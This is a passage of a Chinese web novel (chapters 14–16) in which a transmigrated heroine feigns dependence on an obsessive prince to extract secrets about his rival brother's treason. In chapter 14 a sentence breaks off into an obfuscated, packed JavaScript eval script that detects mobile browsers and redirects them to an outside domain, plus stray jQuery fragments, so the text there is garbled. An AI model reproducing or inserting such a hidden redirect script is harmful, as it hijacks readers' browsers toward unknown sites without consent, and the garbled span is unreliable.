暴力夺权是下下策,不仅风险高,还容易引发朝堂动荡,最后落得个“乱臣贼子”的骂名。而用萧玦的病症当“梯子”,用皇室的内斗当“武器”,才是最省力也最能彻底改变这一切的路——她要让萧玦成为她的“刀”,斩断那些腐朽的根系;让皇室的内斗成为她的“盾”,挡住所有明枪暗箭。 等到时机成熟,她便会亲手推开这把“刀”,登上权力的顶峰,用自己的方式,让这个腐朽的王朝重获新生。那时,流民不会再饿死街头,忠臣不会再含冤而死,而她,也能真正解锁最终权限,摆脱系统的束缚,获得真正的自由。 萧玦还在低声安抚着她,说着“以后再也不会让你受委屈”之类的话,语气里的偏执与温柔交织,听起来既可怜又可怕。赫希靠在他的怀里,轻轻点头,扮演着一个“幡然醒悟”的囚鸟,心里却早已开始盘算下一步的计划——或许,她该主动提一提“二皇子”,看看能不能从萧玦的反应里,找到更多关于皇室权力斗争的线索。 14. 斯德哥尔摩综合症图鉴2 萧玦的脚步声刚消失在回廊尽头,赫希便快速收起了眼底的湿意,指尖在梳妆台上轻轻敲了敲,随即将方才贴在鬓边的碎发捋至耳后,露出一截白皙的脖颈,那道浅淡的红痕在晨光下若隐若现,像一道未愈的伤口,也像一枚精心埋下的钩子。 “3.14,调出萧玦与赵珩近半年的交集记录,重点标注涉及暗卫动向与朝堂博弈的部分。”她对脑海里的兀统低语,语气里没有了半分方才的柔弱。 脑海中立刻响起兀统的机械音,这次少了几分调侃,多了几分数据化的冰冷:“原世界剧情线加载中……检索成功!目标人物‘萧玦-赵珩’交集记录正在录入……录入成功! 据统计,近半年核心交集共三次。三个月前,二皇子赵珩以‘慰问罪臣家属’为由,派人送过一匣东珠,被萧玦直接扔进了王府的锦鲤池,匣底藏有密信,内容为‘赫氏余孽留之无用,不如送予本宫,换你西郊马场三年经营权’,萧玦未拆信,却下令杖毙了送信的使者; 一个月前,朝堂议储时,赵珩当庭弹劾萧玦‘豢养罪臣之女,有失皇子体面’,萧玦当庭掀了御案,差点与赵珩动手,最后被皇帝以‘兄弟失和,皆罚闭门思过三月’收尾; 七天前,赵珩的贴身侍卫在靖王府外徘徊,被萧玦的暗卫擒获,审讯后得知是在打探‘赫希是否还活着’,萧玦下令‘断其双手,扔回二皇子府’。 次日,二皇子府便传出‘侍卫意外坠马,双手骨折’的消息。” 赫希指尖一顿,脑中一个可怕的想法突然冒出,目光落在铜镜里自己的倒影上——镜中的女子眉眼依旧清丽,可眼底却藏着与这张脸不符的锐利。“赵珩对我如此上心,是怕我这个‘罪臣之女’会成为他扳倒萧玦的把柄,还是……他知道些什么?” 她想起原主的记忆碎片里赫靖将军被诬陷前,曾多次深夜与心腹密谈,提到“二皇子与境外势力勾结”,还说“要找到能证明赵珩通敌的证据”。可惜原主那时年纪尚小,只记得父亲焦虑的神色,却没听清具体内容。 “或许,赵珩想杀我,不只是因为我是赫靖的女儿,恐怕是怕我知道些不该知道的事。”赫希若有所思地细细摩挲着自己腕上的疤痕,接着又和兀统在脑内交流着:“而萧玦保下我,除了幼时的‘一饭之恩’,恐怕也有利用我牵制赵珩的心思——毕竟,我是赵珩当年没能斩草除根的‘后患’,也是刺在他心头的一根刺。” 就在这时,门外传来轻轻的脚步声,伴随着侍女怯生生的呼唤:“赫姑娘,殿下让奴婢把糖糕和杏仁酪送来了。” 赫希立刻收敛了神色,重新换上那副柔弱无措的模样,转身时眼底已泛起一层淡淡的水光:“进来吧。” 门被轻轻推开,一个穿着浅绿色宫装的小侍女端着描金托盘走进来,托盘上放着一碟桂花糖糕和一碗杏仁酪。小侍女约莫十五六岁,脸上带着几分惶恐,不敢抬头看赫希,将托盘放在梳妆台上时,手指还在微微颤抖。 赫希的人偶之眼悄然开启,眼底闪过一丝瓷白——小侍女身上萦绕着淡淡的浅蓝色雾气,带着“恐惧”与“同情”,没有恶意,也没有谎言。看来这侍女只是个普通的下人,平日里该是见多了萧玦对她的偏执,既怕自己做错事被迁怒,又隐隐可怜她的处境。 “殿下还说什么了吗?”赫希假装不经意般,轻声问道,声音温和,刻意放软了语气。 小侍女身子一僵,连忙低下头:“殿下、殿下说让姑娘趁热吃,若是不合口味,再让厨房重做。还说……还说让姑娘待在房里别出去,方才府外的流民已经……被处理了,不会再吵到姑娘。” “处理了?……”赫希心头一沉,面上却不动声色,只是拿起一块糖糕,指尖轻轻捏着——糖糕温热,散发着浓郁的桂花香气,做工精致,上面还印着小巧的福字纹。可她却高兴不起来,仿佛能透过这香甜,闻到方才庭院里流民的血腥味。 “是……侍卫长说,已经把人拖去城外的乱葬岗了。”小侍女的声音更低了,头垂得几乎要碰到胸口,“姑娘,奴婢、奴婢先退下了。” 不等赫希回应,小侍女便匆匆躬身退了出去,关门时动作都轻得像怕惊扰了什么。房间里重新恢复安静,只剩下桂花糖糕的甜香与未散的檀香交织在一起,形成一种诡异的压抑。 赫希放下手中的糖糕,没有半分食欲。她走到窗边,再次撩开纱帘——庭院里的青石板路已经被打扫干净,连一丝血迹都看不见,仿佛刚才流民被殴打的场景只是她的幻觉。可那股若有似无的绝望气息,却依旧萦绕在空气里,挥之不去。 “真是干净利落。”她低声嘲讽,指尖划过窗棂上的雕花,“视人命如草芥,这就是大胤的皇室,这就是萧玦口中的‘安全’。” 就在这时,脑海里突然响起兀统的警报声:“警告!检测到目标人物萧玦正在靠近,距离房间还有三十米,情绪波动异常——‘占有欲’浓度上升30%,‘不安感’浓度上升20%,疑似因离开后过度焦虑折返!” 赫希心中一凛,立刻收起眼底的冷意,重新端起那碟糖糕,咬了一小口——甜腻的味道在舌尖化开,却让她胃里一阵翻涌。她强压下不适,故意将嘴角沾了点糖霜,一副吃得开心却又有些笨拙的模样。 门被再次推开,萧玦的身影出现在门口,玄色锦袍上沾了些清晨的露水。他显然是一路快步回来的,气息有些微喘,目光第一时间就落在赫希身上,看到她正在吃糖糕,眼底的不安才稍稍褪去,可那股浓郁的占有欲,却依旧透过病娇领域清晰地传递过来。 “好吃吗?”他走近,声音带着几分急切的试探,像是在等待夸奖的孩子。 赫希抬起头,脸上露出恰到好处的笑容,眼底却藏着一丝不易察觉的算计:“好吃,比我以前吃过的都甜。”她顿了顿,像是不经意般提起,“对了殿下,方才侍女说流民被处理了……会不会太麻烦侍卫们了?其实我也不是很怕,就是刚才听到那老妇的哭声,想起了我母亲以前……” 她说着,声音渐渐低了下去,眼底泛起水光,故意露出一副悲伤又怯懦的模样——她在赌,赌萧玦会因为她的“联想”而产生情绪波动,更赌他会因为这份波动,透露出更多关于赵珩的信息。 果然,萧玦的脸色瞬间沉了下去,指尖再次抚上她脖颈的红痕,力道比刚才重了几分:“别想那些不相干的人,更别想你母亲——现在你只有我,只能想我。”他的声音带着偏执的警告,可病娇领域里,赫希却捕捉到一丝微弱的“慌乱”——那是触及到他不愿面对的回忆时,才会有的情绪反应。 赫希心中一动,继续试探:“我知道……只是刚才那老妇抱着孩子的模样,让我想起殿下说过的,幼时被绑架的事……” 这句话像是一根针,瞬间刺破了萧玦表面的平静。他的身体猛地一僵,眼底的温柔瞬间被阴霾取代,深紫色的情绪雾气在他周身疯狂翻涌,夹杂着浓烈的“恐惧”与“愤怒”——那是属于暗室创伤的应激反应。 “谁让你提这个的?!”萧玦的声音陡然拔高,指尖死死攥住赫希的手腕,力道大得几乎要捏碎她的骨头,“是不是赵珩派人来跟你说什么了?是不是他又想勾起我的旧事,让你害怕我,然后离开我?!” 赫希被他捏得生疼,却没有挣扎,反而顺着他的力道靠近,额头抵着他的胸膛,声音带着哭腔:“不是的殿下!我没有听别人说,我只是……只是心疼殿下,想到您那时那么小,一定很害怕……” 她刻意加重了“心疼”两个字,同时开启了刚解锁的“病态共情”技能——指尖传来一丝微弱的触感,像是感知到了萧玦内心深处对“理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502575|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的渴望。 萧玦的力道渐渐放松,呼吸却依旧急促,他将赫希紧紧抱在怀里,像是在汲取温暖的热源:“我不怕……只是那时很黑,没人理我,只有一个侍女偶尔会给我带吃的……后来她死了,是被赵珩杀死的。” 这是他第一次主动提起暗室里的事,声音里带着压抑的颤抖,像是在诉说一件极其痛苦却又无法释怀的往事。 赫希心中一喜,知道自己的试探起效了。她轻轻拍着萧玦的后背,像在安抚一个受了委屈的孩子:“殿下受苦了……赵珩真是太过分了,竟然对那么小的您做这种事。” 她故意引导着话题,想要从萧玦口中套出更多关于赵珩的把柄,可就在这时,萧玦的身体突然一僵,抱着她的手臂骤然收紧,眼底闪过一丝狠戾:“你怎么知道是赵珩做的?我好像……从来没跟你说过绑架我的人是谁。” 赫希的心跳瞬间漏了一拍,她忘了,原主的记忆里,并没有关于萧玦被赵珩绑架的内容,这是她从系统那里得到的信息。 她立刻反应过来,眼泪顺着脸颊滑落,声音带着慌乱:“我、我是猜的……上次殿下和赵珩殿下在朝堂上吵架,您说他‘心肠歹毒,幼时便害过您’,我就……我就猜是他做的。殿下,您别生气,我不是故意瞎猜的……” 她一边说,一边故意将手腕上的疤痕露出来,用另一只手轻轻抚摸着:“我只是太在意殿下了,所以会忍不住想您以前的事……就像您在意我会不会离开一样。” 萧玦的目光落在她的疤痕上,眼底的狠戾渐渐褪去,取而代之的是浓浓的偏执与心疼。他松开手,轻轻抚摸着那道疤痕,声音低沉而沙哑:“是我不好,不该怀疑你。” 他顿了顿,像是做出了什么决定,凑近赫希的耳边,用只有两人能听到的声音说道:“没错,当年绑架我的就是赵珩。他不仅关了我三个月,还想把我扔进乱葬岗,是春桃——就是那个给我送吃的侍女,偷偷把我藏起来,我才活下来的。后来春桃被他杀了,我就发誓,一定要让他血债血偿。” 赫希的眼底闪过一丝精光——这是萧玦第一次主动向她透露如此重要的信息,这意味着,他对她的“信任”又多了一分,而她利用他对付赵珩的筹码,也多了一分。 “殿下……”她故意露出一副担忧的模样,“那您一定要小心,赵珩殿下那么有权势,万一他对您不利怎么办?” 萧玦的嘴角勾起一抹冰冷的笑容,眼神里带着疯狂的偏执:“放心,我不会让他有机会伤害我的——更不会让他有机会伤害你。” 他抬手,轻轻捏住赫希的下巴,强迫她看着自己:“你只要乖乖待在我身边,别离开我,我就会保护你。至于赵珩……我会让他慢慢付出代价的,比如,先从他最在意的东西开始。” 赫希的人偶之眼悄然开启,没有红色警示——萧玦说的是真的,他确实在计划着对付赵珩,而且已经有了初步的打算。 她心中暗喜,面上却配合地露出一副依赖的模样,点点头:“我听殿下的,我会一直待在殿下身边,不离开您。” “叮!检测到宿主成功获取目标人物核心创伤记忆,触发支线任务‘暗室真相’,当前进度10%,病症模拟度提升至25%。”兀统的声音适时响起。 赫希没有理会系统的提示,她看着萧玦眼底的偏执与狠戾,知道自己的计划已经迈出了成功的第一步。她要继续扮演好“既能刺痛他,又能让他依赖”的角色,一边刷满模拟度,一边利用萧玦对赵珩的仇恨,一步步瓦解他们的权力,最终实现自己的目标。 窗外的阳光渐渐升高,透过雕花木窗,在地上投下斑驳的光影。房间里的檀香依旧浓郁,可在这香甜的气息之下,却隐藏着刀光剑影与步步为营的算计——一场围绕着疯批皇子与赫希的博弈,才刚刚开始。 15. 斯德哥尔摩综合症图鉴3 赫希任由萧玦将自己圈在怀中,玄色锦袍上的龙涎香混着若有似无的血腥气钻入鼻腔,那是方才处理流民时沾染的味道,与桂花糖糕的甜香在空气中拧成一股令人窒息的绳。 她能清晰地感受到男人胸腔里剧烈的心跳,每一次搏动都像是在宣告对她的绝对占有,可这份灼热的占有之下,又藏着如琉璃般易碎的脆弱——那是暗室创伤留下的后遗症,也是她可以利用的绝佳破绽。 “殿下,”赫希的指尖假装无意识地轻轻划过萧玦腰间玉带的纹样,声音放得又软又糯,“您方才出去许久,是不是府里有要紧事?别因为陪我,耽误了正经事才好。” 她清楚,萧玦折返时眼底未散的戾气绝非仅仅因为“担心她”,必然是暗卫那边传来了与赵珩相关的消息。她此刻主动提及“正事”,既是顺着他的话茬递台阶,也是在为后续的试探埋下伏笔——毕竟,她留在萧玦身边的唯一目的,就是提升病症模拟度,而获取更多关于萧玦与赵珩的矛盾信息,正是提升模拟度的关键。 萧玦的手臂收得更紧,下巴抵在她的发顶,声音沙哑却带着不容置喙的强势:“再要紧的事,也比不上你。”顿了顿,他似乎意识到自己语气太过强硬,又放缓了几分,“不过是处理些府外的流民,一群不知死活的东西,竟敢在靖王府附近喧哗,惊扰到你。” 提及流民,他的语气里没有半分怜悯,只有对“秩序被破坏”的不耐——在他眼中,任何可能威胁到赫希“安全”的因素,都该被彻底清除,哪怕代价是几条人命。 赫希心中冷笑,面上却露出一副恍然大悟的模样,抬起头时,眼底还凝着未散的水光:“原来如此,殿下费心了。只是方才绿萼送点心时,我好像听见她和侍卫低声说‘东宫那边遣人来查探’,是不是……赵珩殿下又在暗中盯着王府?” 她故意将“东宫”二字咬得极轻,却精准戳中萧玦的痛处——赵珩虽未被立为太子,却早已在朝臣私议中被视为储君热门人选,这三个字对萧玦而言,无异于公然挑衅。她需要通过这种方式,不断刺激萧玦的情绪,让他在失控边缘暴露更多破绽,从而为自己的模拟提供更多素材。 萧玦的脸色果然瞬间沉了下去,眼底的温柔被阴霾吞噬,周身的病娇领域泛起浓得化不开的深紫色雾气,裹挟着“愤怒”与“警惕”。 他抬手捏住赫希的下巴,强迫她与自己对视,指尖的力道带着几分失控的偏执,强硬道:“别听那些下人乱嚼舌根,东宫之事与你无关。你只需待在我为你打造的院子里,安安稳稳的,什么都不用管。” 他刻意回避“东宫”与赵珩的关联,可语气里的紧绷却暴露了内心的在意——越是想掩饰,就越说明此事与赵珩脱不了干系,而这正是赫希想要看到的。 赫希心中了然,顺着他的话往下说,声音里添了几分惶恐:“我知道殿下是为我好,可我就是忍不住担心。上次朝堂议储,赵珩殿下那样针对您,若是他再暗中做些对您不利的事……我真的怕。” 她说着,往萧玦怀里缩了缩,将“担心他”的情绪演得恰到好处——她很清楚,萧玦的偏执型人格最吃“依赖”这一套,只有让他觉得自己是她唯一的依靠,才会放下戒备,甚至主动透露更多信息。毕竟,她的委曲求全并非真心,不过是为了让萧玦对自己放下戒心,从而更好地完成病症模拟。 就在这时,赫希眼角的余光瞥见窗外廊下掠过一道黑影,玄色衣袍与廊柱的阴影几乎融为一体,唯有腰间悬着的银质令牌在晨光下闪过一丝冷芒——那是萧玦暗卫的标识,且令牌样式与寻常暗卫不同,应当是暗卫统领级别的人物。她心中一凛,立刻意识到必然是有紧急密报,且内容多半与赵珩有关。 她没有继续追问,反而往萧玦怀里又缩了缩,声音带着几分怯意:“殿下,外面的脚步声好像越来越近了……是不是有什么急事?您要是忙的话,就先去处理吧,我一个人待在这里也没关系的。”她故意表现出“懂事”又“害怕”的模样,既是符合“罪臣之女”的柔弱人设,也是在给萧玦台阶——暗卫汇报密报定然不便让她在场,而她的“体贴”,恰好能让萧玦顺理成章地离开。 萧玦果然皱紧了眉,目光扫过门口,眼底闪过一丝不悦——他不喜欢在与赫希相处时被打扰,尤其是那些沾满血腥气的朝堂纷争,他只想让赫希待在自己构建的“纯净世界”里。可暗卫这个时候前来,必然是有紧急之事,他无法置之不理。 “别怕,只是府里的侍卫巡查。”萧玦轻轻拍了拍赫希的后背,语气尽量放柔,“你先乖乖待在这里,把杏仁酪喝了,我去去就回。”他说着,小心翼翼地将赫希扶到梳妆台前的绣凳上,拿起一块桂花糖糕递到她嘴边,眼神里带着几分刻意的讨好:“再吃一块,等我回来,就给你带城西那家糖铺的芙蓉糕——你上次说过喜欢的。” 赫希顺从地咬了一口糖糕,甜腻的味道在舌尖化开,却让她胃里一阵翻涌。她强压下不适,对着萧玦露出一个乖巧的笑容,眼底却飞快地闪过一丝算计:“好,我等殿下回来。只是……您一定要快点,我一个人待在这里,总觉得心里发慌。”她刻意加重“发慌”二字,就是为了让萧玦心中的“不安感”与“占有欲”再次被点燃——他越是担心她,就越容易在处理密报时心神不宁,而她恰好能借此机会,施展人偶之眼的隐秘能力。 萧玦看着她眼底的“依赖”,心中的不悦瞬间被满足感取代。他俯身,在赫希的额头上印下一个轻柔的吻,仿佛在安抚一件易碎的珍宝:“乖,很快就回来。”说完,他转身快步走向门口,玄色袍角在空中划过一道凌厉的弧线,周身的气场瞬间从温柔的偏执切换成冰冷的肃杀——这才是靖王萧玦的真面目,对她是病态的执念,对敌人是毫不留情的狠辣。 门被轻轻关上的瞬间,赫希脸上的柔弱瞬间褪去,眼底只剩下锐利的冷光。她悄然起身,走到窗边,指尖轻轻抚过窗棂上的雕花,人偶之眼无声开启——眼底泛起一层极淡的瓷白色光晕,透过雕花缝隙,精准锁定了庭院角落那处隐蔽的耳房。 耳房是萧玦与暗卫议事的地方,隔音极好,寻常人根本无法听见里面的动静。但赫希的人偶之眼不仅能洞察情绪雾气,更能通过捕捉空气中的声波振动频率,将细微的声音放大、解析。此刻,她的视线穿透木质墙壁,清晰地“看”到萧玦正站在房间中央,暗卫统领影一单膝跪地,手中捧着一封染血的密信。 “说,什么事?”萧玦的声音透过声波解析传入赫希耳中,带着压抑的怒火,与方才对她的温柔判若两人。 “殿下,”影一的声音低沉而恭敬,“方才暗卫在城外三十里的破庙,截获了二皇子赵珩的贴身谋士与漠北王使者的密会。两人交谈时明确提及‘赫希’,称‘待边境战事起,便将赫氏余孽作为诱饵,引靖王入局’。此外,我们还在密会地点搜出一封密信,上面写着‘三月后,漠北骑兵突袭雁门关,届时请二皇子在朝中牵制靖王,勿让其领兵出征’。” 赫希的指尖猛地顿在窗棂上,眼底闪过一丝精光。赵珩果然与境外势力勾结,而且已经将她视为对付萧玦的关键棋子!这个消息至关重要,一方面,她可以利用这个信息进一步刺激萧玦的情绪,让他在失控中暴露更多病症特征,从而提升模拟度;另一方面,她可以借萧玦之手,削弱赵珩的势力,为自己后续的行动扫清障碍。 毕竟,她留在萧玦身边的唯一目的是完成模拟,一旦任务达成,萧玦与赵珩的生死存亡,与她毫无关系。 “废物!”萧玦的声音陡然拔高,带着浓烈的杀意,“为何不提前察觉?若是赫希出了半点差错,你们所有人都得陪葬!” “属下失职,请殿下责罚!”影一的声音带着几分惶恐,“赵珩的谋士行事极为谨慎,此次密会临时更改了三次地点,我们的人也是侥幸才跟上。另外,我们还查到,赵珩近期一直在暗中联络户部尚书、兵部侍郎等几位重臣,似乎在密谋推举他为储君,具体细节尚未查清,但可以确定,他们计划在半月后的祭祀大典上动手。” “储君?”萧玦的声音带着几分嘲讽,却又透着彻骨的寒意,“就凭他也配?传令下去,加强对赫希院落的守卫,任何人不得靠近半步,包括府里的侍女,必须经过我的亲自允许才能入内。 另外,密切监视赵珩及其谋士的动向,查清他们联络的重臣名单,还有——”他顿了顿,语气变得狠戾,“漠北王的使者,既然来了,就别让他活着离开京城。” “是,属下遵命!”影一的声音恭敬应下,紧接着便传来脚步声逐渐远去的声音。 赫希关闭人偶之眼,眼底的瓷白色光晕渐渐褪去。她走到梳妆台前,指尖轻轻敲击着描金花纹,脑海中快速梳理着刚刚获取的信息——萧玦对赵珩的恨意已经深入骨髓,而赵珩的计划恰好给了她可乘之机。 更重要的是,她通过人偶之眼捕捉到影一汇报时,周身萦绕着一丝极淡的灰色雾气,那是“隐瞒”与“犹豫”的情绪——这意味着,影一或许还有别的事情没说,甚至可能与赵珩那边存在某种隐秘的联系。 这个发现让赫希心中一凛,她立刻想起方才绿萼送杏仁酪时,手腕上戴着的那只不起眼的银镯子——镯子内侧刻着一个极小的“赵”字,当时她只当是普通饰物,此刻想来,却极有可能是赵珩安插在王府的眼线标识。 就在这时,门外传来轻轻的敲门声,绿萼怯生生的声音响起:“赫姑娘,殿下让奴婢送来刚热好的杏仁酪。” 赫希眼底的冷光瞬间收敛,重新换上那副柔弱无措的模样,对着门外说道:“进来吧。” 门被轻轻推开,绿萼端着一碗热气腾腾的杏仁酪走进来,脸上依旧带着几分惶恐,不敢抬头看赫希。她将杏仁酪放在梳妆台上时,手指微微颤抖,手腕上的银镯子不经意间滑到了袖口外,那个“赵”字在晨光下闪了一下,又迅速被衣袖遮住。 赫希端起杏仁酪,用小勺轻轻搅拌着,人偶之眼再次悄然开启——绿萼周身的浅蓝色雾气中,果然夹杂着一丝极淡的灰色,那是“隐瞒”的情绪,且灰色雾气的源头,恰好指向她手腕上的银镯子。 “绿萼,你这镯子倒是别致,”赫希状似无意地指了指她的手腕,声音温和,“是家里人给你的吗?” 绿萼的身子猛地一僵,下意识地将手腕往身后缩了缩,声音带着几分慌乱:“回、回姑娘,是奴婢自己攒钱买的,不值什么钱。”她的眼神闪烁,不敢与赫希对视,周身的浅蓝色雾气瞬间变得浓郁,显然是因为被戳中要害而极度紧张。 赫希心中了然,却没有继续追问,只是笑了笑:“原来是这样,倒是挺好看的。”她顿了顿,又状似无意地问道,“对了,你在王府待了两年,有没有见过殿下处理府里的内奸?我总觉得最近府里的气氛怪怪的,好像有什么人在暗中盯着我。” 她故意抛出这个话题,既是试探绿萼的反应,也是为了后续在萧玦面前“不经意”地提及此事埋下伏笔。 绿萼的头垂得更低,声音细若蚊蚋:“姑娘,这些事……奴婢真的不知道,也不敢打听。若是被殿下知道了,奴婢的小命就没了。”她的身体微微发抖,周身的灰色雾气与浅蓝色雾气交织在一起,形成一种矛盾的情绪——既害怕被发现,又对赫希抱有一丝同情。 赫希见状,便不再追问,只是轻声说道:“没关系,我只是随口问问。你先退下吧,若是殿下回来了,记得告诉我一声。”她很清楚,绿萼只是个小角色,真正的关键在于影一和他背后可能隐藏的秘密。眼下,最重要的是如何将赵珩与漠北勾结以及王府有内奸的消息,巧妙地透露给萧玦,同时不引起他的怀疑。 绿萼如蒙大赦,恭敬地应了一声,躬身退了出去,关门时动作轻得像怕惊扰了什么。 房间里再次恢复安静,赫希走到窗边,撩开纱帘——庭院里的青石板路已经被打扫得一尘不染,连一丝血迹都看不见,只有几只麻雀在树枝上跳跃,叽叽喳喳地叫着,与房间里的压抑氛围形成鲜明对比。 兀统:宿主我知道你不是金丝雀,加油,爷们要战斗! 赫希:?你不是爷们也要战斗! 不再思考兀统的话,她知道萧玦很快就会回来,而她需要在他回来之前,想好如何将信息“不经意”地透露给他。毕竟,每一次成功的引导,都是提升病症模拟度的机会,而她必须抓住每一个机会,尽快完成任务。 就在这时,赫希捕捉到远处廊下传来的脚步声——步伐急促,带着明显的焦虑,正是萧玦的脚步声。她立刻调整状态,没有回到梳妆台前,反而走到床边,拿起一本摊开的诗集,故意装作看得入神的模样,只是眼角的余光却紧紧盯着门口。 她很清楚,萧玦现在的情绪极为不稳定,若是她继续表现出“依赖”,反而可能引起他的怀疑,不如换一种“安静等待”的姿态,让他觉得自己是乖巧而无害的。这种反差,或许能让萧玦更加在意她,从而在情绪波动时暴露更多病症特征。 门被再 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她故意将两个看似无关的信息放在一起说,既提及了“漠北”,又暗示了绿萼的异常——她算准了萧玦对赵珩的敏感,只要提及与“赵”相关的人和事,必然会引起他的警觉。而这种“无意”的提醒,既不会让他怀疑她的动机,又能让他主动去追查绿萼和漠北的事情,从而在追查过程中暴露更多情绪波动,为她的病症模拟提供素材。 萧玦的脸色瞬间沉了下去,坐在赫希身边,伸手将她揽入怀中,力道大得几乎要将她揉进自己的骨血里。他没有立刻回答,只是目光锐利地扫过门口,眼底的阴霾越来越浓——赫希提及的“漠北”与“赵字镯子”,恰好与影一汇报的密报形成了呼应,让他不得不怀疑,王府里真的藏着赵珩的眼线,而赫希极有可能已经处于危险之中。 “别胡思乱想,”萧玦的声音带着几分沙哑,却透着不容置疑的强势,“不过是个普通的镯子,哪来那么多巧合。至于漠北,不过是边境的小摩擦,很快就会平息。”他虽然嘴上否认,可手臂却收得更紧,显然是已经将赫希的话放在了心上,甚至开始暗中盘算如何彻查王府的内奸,以及应对赵珩与漠北的阴谋。 赫希将脸埋在萧玦的胸膛,嘴角勾起一抹不易察觉的弧度——她知道,自己的目的已经达成。萧玦虽然没有明说,但他的情绪波动已经暴露了他的真实想法,而这正是她提升病症模拟度所需要的。接下来,她只需静静等待,看着萧玦为了她与赵珩斗得两败俱伤,而她则可以坐收渔翁之利,在最合适的时机,完成最终的病症模拟。 窗外的阳光渐渐西斜,透过雕花木窗,在地上投下斑驳的光影。房间里的檀香与桂花糖糕的甜香渐渐交融,却掩不住空气中若有似无的紧绷——赫希能清晰地感受到萧玦胸腔里越来越快的心跳,每一次搏动都像是在酝酿着一场即将爆发的风暴。她没有再追问,只是轻轻拍了拍萧玦的后背,声音放得更柔:“殿下,我信你。只是……你千万别太累了,我看着心疼。” 这句“心疼”像是一剂良药,瞬间抚平了萧玦眼底的阴霾。他低头,看着怀中人柔弱的模样,偏执的占有欲与隐秘的脆弱交织在一起,化作指尖轻轻的抚摸——他顺着赫希的发丝往下滑,停在她的后颈,那里有一道极淡的疤痕,是她刚入王府时不小心撞在廊柱上留下的。当时他几乎要将那根廊柱拆了,若不是赫希拦着,府里的工匠怕是要被他迁怒。 “放心,”萧玦的声音带着几分沙哑的承诺,“我不会让自己有事,更不会让你受委屈。”他俯身,在赫希的疤痕上轻轻落下一个吻,动作虔诚得像是在朝拜一件稀世珍宝,“等处理完这些琐事,我就带你去江南,那里有你喜欢的桃花,还有最好吃的糖糕,我们在那里待一辈子,再也不回这京城。” 赫希心中冷笑,江南?一辈子?不过是他一时兴起的谎言罢了。可面上,她却露出一副憧憬的模样,眼底泛起水光:“真的吗?那我可要记着了,殿下可不能骗我。” “不骗你。”萧玦的指尖捏了捏她的下巴,语气是从未有过的认真,可眼底深处却藏着一丝连他自己都未察觉的不确定——他知道,只要赵珩还在,只要储位之争还未结束,他就不可能带着赫希远走高飞。但他需要给她一个“念想”,也需要给自己一个“支撑”,仿佛只要这个念想还在,他就能在这波诡云谲的朝堂里,守住这唯一的“纯净”。 就在这时,院外传来暗卫轻叩石板的声音——那是紧急密报的信号,三短一长,代表着“事态升级,需立刻处理”。萧玦的身体瞬间绷紧,周身的温柔气场瞬间切换成冰冷的肃杀,他猛地松开赫希,起身时玄色袍角扫过绣凳,带落了桌上的杏仁酪碗。 青瓷碗摔在地上,碎裂的声音在安静的房间里格外刺耳,奶白色的杏仁酪溅在青石板上,像是一滩凝固的血。萧玦的脚步顿了顿,眼底闪过一丝懊恼,随即又被紧迫的局势取代:“待在这里,别出去。” 他丢下这句话,快步走向门口,连地上的碎片都没来得及吩咐人清理——在他看来,赫希的安全远比这些琐事重要,可这份“重视”,在赫希眼中不过是偏执的另一种表现。 门被重重关上的瞬间,赫希脸上的柔弱瞬间褪去。她走到窗边,看着萧玦的身影消失在庭院的拐角,人偶之眼再次开启——这一次,她没有去听暗卫的汇报,而是将视线落在了影一离开的方向。方才影一汇报时,她捕捉到影一腰间的令牌边缘有一道细微的划痕,那划痕的形状,与她昨日在萧玦书房看到的、一枚来自东宫的密信火漆印边缘,竟有几分相似。 “影一……东宫……”赫希低声呢喃,指尖轻轻划过窗棂上的雕花,“看来这王府里的水,比我想象的还要深。”她转身,走到碎裂的瓷碗旁,蹲下身,用帕子小心翼翼地捡起一块碎片——碎片边缘锋利,她故意用指尖蹭了一下,瞬间渗出一丝血珠。 她将带血的帕子攥在手心,眼底闪过一丝算计。等萧玦回来时,这道“伤口”,又能成为她获取更多信任的筹码——毕竟,在萧玦眼中,她的每一次“受伤”,都是对他“保护不力”的谴责,而他为了弥补这份“愧疚”,总会不经意间透露更多信息。 窗外的阳光彻底沉了下去,庭院里的灯笼被下人点亮,昏黄的光透过窗棂,在地上投下晃动的影子。赫希走到梳妆台前,看着镜中自己苍白的脸,以及眼底那抹若有似无的冷光——她知道,今夜过后,靖王府与东宫的矛盾会彻底激化,而她,只需站在风暴中心,直到病症模拟度达到那个最终的数字。 16. 斯德哥尔摩综合症图鉴4 夜色如墨,靖王府的角楼上传来更夫敲梆的声音,三下,清脆而悠长,划破了寂静的夜空。赫希房间的灯早已熄灭,可窗棂后,却有一双暗红色的眼睛在黑暗中闪烁——人偶之眼已开启近一个时辰,她的视线穿透庭院的阴影,牢牢锁定着绿萼居住的下人房。 方才萧玦离开后,她便借着“处理伤口”的由头,让侍女送来热水和金疮药,趁机支开了所有人。此刻,下人房的灯还亮着,绿萼的身影在窗纸上晃动,动作慌张而急促,显然是在做什么隐秘的事。 赫希悄无声息地推开后窗,纵身跃出,利用我妻由乃的战斗能力还有在修仙世界跟着师兄学到的经验本领,踏在青石板上时,连一丝脚步声都没有。 她贴着墙根,避开暗卫的巡逻路线,很快便来到下人房的窗下。偷偷望向虚掩着的窗户,她透出微弱的烛光,听着夹杂着绿萼压抑的啜泣声:“娘,爹,你们再等等我,我一定会想办法救你们的……” 赫希的指尖轻轻抵在窗纸上,人偶之眼的光晕更浓,她能清晰地“看”到,绿萼正将那只银镯子放在烛火上烘烤,镯子内侧的“赵”字在高温下渐渐凸起,露出一道细微的缝隙。绿萼正用一根细针小心翼翼地挑开缝隙,从里面取出一张卷成细条的绢纸,展开后,借着烛光快速阅读。 赫希的瞳孔微微收缩,人偶之眼的强大使她能够通过很远距离看到那绢纸上的字迹是赵珩贴身谋士的笔迹,上次萧玦截获的密信上,就是同样的字迹。她屏住呼吸,听着绿萼越来越快的心跳声,以及她口中念念有词的碎片:“祭祀大典……密道……引靖王……” 